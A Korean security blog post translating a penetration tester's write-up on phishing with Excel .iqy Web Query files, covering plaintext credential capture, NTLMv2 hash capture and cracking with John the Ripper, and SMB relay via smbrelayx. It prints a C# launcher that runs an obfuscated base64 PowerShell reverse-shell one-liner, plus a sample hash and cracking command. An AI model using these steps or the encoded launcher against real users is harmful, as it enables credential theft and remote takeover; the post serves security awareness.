상세 컨텐츠

본문 제목

[해외보안동향] .iqy 파일을 이용한 효과적인 피싱방법

국내외 보안동향

by 알약(Alyac) 2015. 9. 1. 16:24

본문

.iqy 파일을 이용한 효과적인 피싱방법

Abusing Web Query (.iqy) files for effective phishing


얼마 전, 트위터에 iqy 파일과 관련된 소개 내용 및 간단한 PoC가 올라왔습니다. 





PoC는 매우 간단하였지만, 피싱 공격에 효과적으로 이용하기에는 충분하였습니다. 

IQY 파일을 이용하면 SMB Relay 공격 뿐만 다양한 공격들을 할 수 있습니다.



평문 크리덴셜 피싱


평문 크리덴셜 피싱을 위해서, IQY 파일을 생성팔 수 있는 PowerShell 스크립트를 만들었습니다. Out-WebQuery.ps1 문서는 Nishang/Client 하위에서 찾을 수 있습니다. 


 PS C:\> . C:\nishang\Client\Out-WebQuery.ps1




Start-CaptureServer.ps1을 이용하면 해당 스크립트 HTTP 스니핑 툴을 실행하는데, 이는 기본적인 로그 및 NTLM 감사 리퀘스트를 스니핑 합니다. 이때 공격자의 PC 상에서 최고권한의 shell이 돌아가고 있어야 합니다. 평문 크리덴셜을 위하여, 우리는 AuthType Basic을 선택하면 됩니다. 


 LogFilePath C:\test\log.txt


이제 우리는 첫번째 단계로, 생성한 IQY 문서를 Email 첨부파일 혹은 다른 어떤 방식을 통하여 목표대상에게 전송을 하면 됩니다. 해당 문서는 MS Excel이 실행될 때 함께 실행되며, 사용자(공격 대상자)에게 아래와 같은 보안경고창을 띄우게 됩니다. 



Enable을 클릭하면, 사용자(공격 대상자)는 아래와 같이 계정정보를 묻는 창을 확인할 수 있습니다. 



사용자(공격 대상자)가 계정정보를 입력하게 되면, 스니핑 툴 및 로그에서 해당 입력값을 확인할 수 있습니다. 




NTLM Hashes 피싱


Out-WebQuery 및 Start-CaptureServer는 목표물의 netntlm 포멧 중의 NTMLv2 hash들을 캡쳐하는데 사용할 수 있습니다. Hashes들은 다른 인증방식과 비교하였을 때 스니핑 할 수 있는 확률이 낮은 편입니다. 우리는 AuthType NTLM2를 이용해 보았습니다.


스니핑한 해쉬들은 John the ripper를 이용하여 크래킹 합니다. 위의 캡쳐 해시들은 아래와 같은 hashes.txt 형식으로 사용합니다.  


 nikhil::PFPTLAB:00000000000000000000000000000000060380250000000F:970170524E4B2A0D000000000200000000

00000000000000:1122334455667788



john --format=netntlm hashes.txt


또한 inveigh(https://github.com/Kevin-Robertson/Inveigh)를 이용하여 해쉬를 캡쳐할 수도 있는데, Start-CaptureServer와 비교하였을 때 더 많은 기능을 갖고 있습니다. 



SMB Relay 공격


IQY 문서를 이용하여 SMB Relay 공격을 할 수도 있는데, IQY 파일이 UNC경로를 지원하기 때문입니다. 아래와 같은 상황에서, 사용자는 계정정보를 입력하지 않아도 됩니다. 


C:\test\QueryData.iqy 


불행한 것은, 여기에는 relay hashes로 사용할 수 있는 PowerShell 코드가 없다는 것 입니다. 우리는 Impacket 라이브러리에서 smbrelayx를 사용하고, 192.168.230.111(Windows7) 중 relay SMB를 캡쳐하여 내 실험실에 있는 192.168.230.112(Windows8)로 보냈습니다.



runps.exe는. PowerShell스크립트의 콘솔 프로그램으로, 목표 시스템상에서 powershell.exe 라는 이름을 갖고 있습니다. PowerShell스크립트 코드는 Nishang 항목의 Invoke-PowerShellTcpOneLine중에 있습니다.


$DotnetCode = @"

public class RunPowerShell

{

    public static void Main(string[] args)

    {

        string cmdstring = "-e SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAAoAE4A

ZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACgAJAAoAE

4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBs

AGEAdABlAFMAdAByAGUAYQBtACAAKAAkACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQB

tAG8AcgB5AFMAdAByAGUAYQBtACAAKAAsACQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8

AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAVABaAEYAZABhADgASQB3AEYASQBiAHYAQgA

vAHMAUABoADkASwBOAGgATgBuAFEAMQBnADgAMgB5ADQAUwB0AGIAQwBJAE0AbABWAFgAWQBoAF

gAZwBSADIANABQAHQAcgBGAFgAcwBFAFIAWAAxAHYAeQA5AHAAYgBlAGQAVgBEAHUASAA5AGUARQA

1AGkAaABtAG0AQwBHAGMARQByAEQASABGAHYAagBlAGEALwBHAEIASQBFAHgANQB4AHcASgBZAFoA

SQBJAGwAaQBIAFMANgBSAGMAVABQAHkAeABYAHkAaQBaADQAYgB5ADQAdwB1AGsAOABDADcAZAB

wAEMAOABkAG8AdABGAHAATgA3AHAAawA1AGIAVgBHAHUAVgBJAHgAWgBCAG8AbwArAFUAbABEAGM

ATQBlADUATgA1ADAAZgBDADYAVwB4AG0ANgBqAE4AWABJAGwAdQBJAFQAcgB2AGQAYgBKADgAZgBU

AHYAYgBGADIAOABkAEoAaQBvAHkAWgBpAGIAYQBYAFEAZQBJAGIAWgBjAFIASwBmAFEAUABzAEIAcAB

TAGoAKwBNAEoAcwBRAFQASABuAFkARwBVAEkATgBqADkANQBaAGkAUgBKAEsAaAArADcAdwBiAGMA

bQB4AHcAMABPADUAUQBxAHIAUgBTAFoANABJAFAARQBXACsASQBQAEIAUgB4AGEAdQBvAHkAUgBiA

DgAQwB1AGYARwBxAHMAVwBYAFoATABvAFQAVABDAEwANQBqAEoAYwA2AHQAQQBFAEQAMQBBADI

AdQBMADEASABCADgANAB3ADIAcABGAFYAMgB1AEIARwA2AGsASgBCAFgAaABtAGYAdwBCAGcASABZ

AEsAaQBUAGIAZgBZAFIARgAyAE4ASgBzAGIANwBzAGcAWABIADEAcQBFAEkAZABQAHkAVQBOAGgAbA

BlAG0AVwBiAGQAYgBNAEIAWgBzADcANQBxAEoALwBUAGYAVQBUAHkAeAArAHQAZwBrAGgAcQAzAE0

AVQBkAHoAMQBYAHoAMQBOAHIAUAA5AE4AZABIAGoATgArADgAYQBwAGYAOABkAE4AMQBqAG8AegB

mADMALwAwAEIAJwApACkAKQApACwAIABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMA

bwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApAC

wAIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQ

BhAGQAVABvAEUAbgBkACgAKQA7AA==";

        System.Diagnostics.Process.Start("powershell.exe",cmdstring);

    }

}


"@


Add-Type -TypeDefinition $DotnetCode -OutputType ConsoleApplication -OutputAssembly C:\test\runps.exe


일단 목표 타겟이 IQY 문서를 열면, 우리는 아래와 같은 것들을 얻을 수 있습니다. 




Out-WebQuery 및 Start-CaptureServer는 여기에서 확인할 수 있습니다. 





참고 : 

http://www.labofapenetrationtester.com/2015/08/abusing-web-query-iqy-files.html


관련글 더보기

댓글 영역